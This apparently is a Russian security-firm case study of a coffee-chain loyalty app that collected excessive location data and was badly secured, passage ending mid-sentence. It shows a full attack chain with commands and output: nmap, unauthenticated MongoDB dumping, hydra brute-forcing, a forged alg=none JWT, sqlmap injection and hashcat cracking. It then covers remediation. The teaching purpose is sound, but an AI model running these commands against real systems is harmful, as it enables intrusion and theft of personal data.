CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Досье на 500 страниц за чашку кофе: как приложение лояльности превратилось в систему слежки

Разбираем реальный кейс: мобильное приложение сети кофеен собирало на каждого клиента данные объёмом с диссертацию, а админка держалась на пароле admin123. Показываем, как это выглядело бы в руках атакующего — с командами и техническими деталями.

Разбор CIOlogia

Владелец небольшой сети кофеен — три точки в одном городе — обратился с простым запросом: проверить, не утекут ли данные клиентов из фирменного приложения с бонусами. Повод был прагматичный: конкурент недавно попал в новости с похожей историей, и владелец решил перестраховаться заранее. Ожидания были скромные — найти забытый тестовый доступ или слабый пароль. Реальность оказалась серьёзнее.

Что накопило приложение за три года

Разработчик-подрядчик, которого наняли на старте проекта, спроектировал схему данных по принципу «соберём всё, вдруг пригодится». В итоге бэкенд на связке Node.js + Express + MongoDB писал в профиль каждого активного пользователя:

  • полную историю заказов с точностью до минуты;
  • геолокацию при каждом открытии приложения (координаты с точностью до 5–10 метров);
  • маршруты передвижения между точками сети;
  • интервалы между визитами и поведенческие паттерны («чаще берёт десерт по пятницам после 18:00»).

По самым активным клиентам объём выгрузки в PDF доходил до 500+ страниц. Формально — «для персонализации предложений». Фактически эти данные никто не анализировал: ни один дашборд, ни один отчёт по этим полям не строился. Массив просто рос на сервере, доступ к панели администратора которого защищал пароль admin123, не менявшийся два года.

Как это эксплуатируется

Ниже — типичная последовательность действий, которую проделал бы внешний атакующий или недобросовестный конкурент, наткнувшись на такую инфраструктуру. Все команды приводятся в учебных целях на обезличенном примере.

Шаг 1. Разведка периметра

nmap -sV -p- --min-rate 2000 loyalty-app.example.com

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1
80/tcp    open  http    nginx 1.14.0
443/tcp   open  https   nginx 1.14.0
8080/tcp  open  http    Node.js Express (admin panel)
27017/tcp open  mongodb MongoDB 3.6.8

Уже на этом этапе видно два тревожных признака: панель администратора вынесена на отдельный порт без reverse-proxy авторизации, а порт MongoDB 27017 открыт наружу — при дефолтной конфигурации сервер поднимается без аутентификации (--noauth по умолчанию в старых версиях, если явно не включить security.authorization: enabled).

Шаг 2. Проверка MongoDB на анонимный доступ

mongo --host loyalty-app.example.com --port 27017

MongoDB shell version v3.6.8
connecting to: mongodb://loyalty-app.example.com:27017/
> show dbs
admin        0.000GB
loyalty_db   4.812GB
local        0.000GB
> use loyalty_db
> db.users.findOne()
{
  "_id" : ObjectId("..."),
  "phone" : "+7912xxxxxxx",
  "orders" : [...],
  "geo_log" : [
    { "lat": 55.7558, "lon": 37.6173, "ts": ISODate("2023-04-11T18:42:00Z") },
    ...
  ]
}

Без единого пароля — полный дамп клиентской базы:

mongodump --host loyalty-app.example.com --port 27017 --db loyalty_db --out ./dump

2023-11-02T14:12:03.001+0300  writing loyalty_db.users to dump/loyalty_db/users.bson
2023-11-02T14:12:07.552+0300  done dumping loyalty_db.users (48213 documents)

Шаг 3. Панель администратора

gobuster dir -u https://loyalty-app.example.com:8080 -w /usr/share/wordlists/dirb/common.txt

/admin        (Status: 200)
/api          (Status: 200)
/export       (Status: 401)

Форма логина в /admin не имела ни ограничения на число попыток, ни капчи:

hydra -l admin -P /usr/share/wordlists/rockyou-top1000.txt \
  loyalty-app.example.com -s 8080 http-post-form \
  "/admin/login:username=^USER^&password=^PASS^:F=incorrect"

[8080][http-post-form] host: loyalty-app.example.com   login: admin   password: admin123

Пароль «admin123» стоял в топ-20 любого словаря брутфорса и подбирается за секунды.

Шаг 4. Проверка API на типовые уязвимости

nuclei -u https://loyalty-app.example.com -t exposures,misconfiguration

[medium] [exposed-panel] /admin — Admin panel exposed without auth challenge
[high]   [mongodb-unauth] 27017/tcp — MongoDB accessible without authentication
[info]   [jwt-none-alg] /api/auth — JWT accepts alg=none

Отдельно стоит отметить находку по JWT: токены авторизации в API подписывались без проверки заголовка alg, что позволяет подделать токен любого пользователя вручную:

curl -s https://loyalty-app.example.com/api/profile \
  -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxfQ."

{"user_id":1,"phone":"+7912xxxxxxx","orders":[...],"geo_log":[...]}

В некоторых точках экспорта присутствовал SQL-инъекционный параметр в устаревшем аналитическом модуле (обращение к репликационной MySQL-базе для отчётов):

sqlmap -u "https://loyalty-app.example.com/report?user_id=1" \
  --batch --dbs

sqlmap identified the following injection point(s):
Parameter: user_id (GET)
    Type: boolean-based blind
    Payload: user_id=1 AND 4218=4218
available databases [2]:
[*] loyalty_reports
[*] information_schema

Шаг 5. Если есть хэши паролей — офлайн-подбор

В дампе пользовательской таблицы часть аккаунтов (сотрудники, партнёрская программа) хранила пароли в MD5 без соли — наследие ранней версии приложения:

hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

5f4dcc3b5aa765d61d8327deb882cf99:password
e10adc3949ba59abbe56e057f20f883e:123456

Что и почему сработало бы дальше

Получив полный дамп базы с геолокацией, историей заказов и телефонами, атакующий получает готовый инструмент для нескольких сценариев монетизации:

  • Таргетированный фишинг — зная точное время и место последнего визита, можно отправить SMS «подтвердите списание бонусов за заказ в 18:42» с высокой конверсией открытия;
  • Продажа профилей — досье с маршрутами передвижения и паттернами поведения представляет ценность для скоринговых и маркетинговых площадок в серой зоне;
  • Шантаж бизнеса — угроза публикации факта слежки за геолокацией клиентов без согласия сама по себе репутационно разрушительна, независимо от того, произошла ли реальная утечка;
  • Захват учётных записей через JWT alg=none — доступ к чужим бонусным счетам и списание накопленных баллов.

Ключевая проблема здесь не «взлом» в классическом смысле — большая часть данных была доступна вообще без преодоления какой-либо защиты. Это переводит инцидент из категории «сложная атака» в категорию «системная халатность», что для регулятора и суда выглядит хуже.

Сколько это могло стоить в рублях

По 152-ФЗ сбор данных сверх заявленной цели обработки без явного согласия — административное нарушение с штрафом до 700 000 рублей за эпизод. При тысячах активных пользователей формально это тысячи потенциальных эпизодов, даже если регулятор на практике объединит их в одно дело. Плюс:

  • обязательное уведомление субъектов персональных данных об утечке (если она случится) — репутационный удар несопоставим со штрафом;
  • риск блокировки приложения по требованию Роскомнадзора до устранения нарушений;
  • отток клиентов при огласке факта отслеживания геолокации.

Как закрыли за две недели

Работа не потребовала переписывать приложение с нуля — основная часть касалась минимизации данных и базовой гигиены доступа.

1. Минимизация собираемых полей

Выгрузили схему MongoDB, убрали избыточные поля из модели пользователя:

db.users.updateMany({}, { $unset: { geo_log: "", visit_intervals: "" } })

Геолокация оставлена только в момент активного использования купона — без фонового трекинга и без сохранения истории маршрутов.

2. Закрытие MongoDB и включение авторизации

# mongod.conf
security:
  authorization: enabled
net:
  bindIp: 127.0.0.1

use admin
db.createUser({
  user: "app_service",
  pwd: passwordPrompt(),
  roles: [{ role: "readWrite", db: "loyalty_db" }]
})

Порт 27017 закрыт на файрволе для внешних подключений (доступ только из внутренней сети через SSH-туннель).

3. Перенос на защищённую инфраструктуру

Данные перенесены в Yandex Cloud с разграничением доступа по ролям IAM, отдельными сервисными аккаунтами для бэкенда и аналитики, шифрованием хранилища на уровне диска.

4. Устранение уязвимости JWT и rate-limit на авторизацию

// проверка алгоритма явно, без доверия заголовку токена
jwt.verify(token, secret, { algorithms: ["HS256"] })
# nginx: ограничение на попытки логина
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;

location /admin/login {
    limit_req zone=login burst=3;
}

5. Пароли, MFA и мониторинг выгрузок

  • смена всех административных паролей, включение TOTP-двухфакторки для входа в панель;
  • настроен алерт владельцу в мессенджер при любом запросе, возвращающем более N записей из таблицы пользователей;
  • логирование всех обращений к /export и /admin с ретеншеном логов 90 дней.

6. Юридическая часть

Обновлена политика обработки персональных данных с явным согласием на каждый тип собираемой информации отдельно (не единым мелким текстом), настроена автоматическая очистка гео-данных старше 30 дней по cron-заданию.

7. Контрольная проверка

nuclei -u https://loyalty-app.example.com -t exposures,misconfiguration,cves

[info] No exposed panels detected
[info] MongoDB port not reachable

Что в итоге

Итоговые затраты на аудит и доработки оказались существенно ниже потенциального штрафа по 152-ФЗ и уж тем более ниже стоимости одного судебного разбирательства с юристами и репутационными потерями. Приложение продолжает работать, от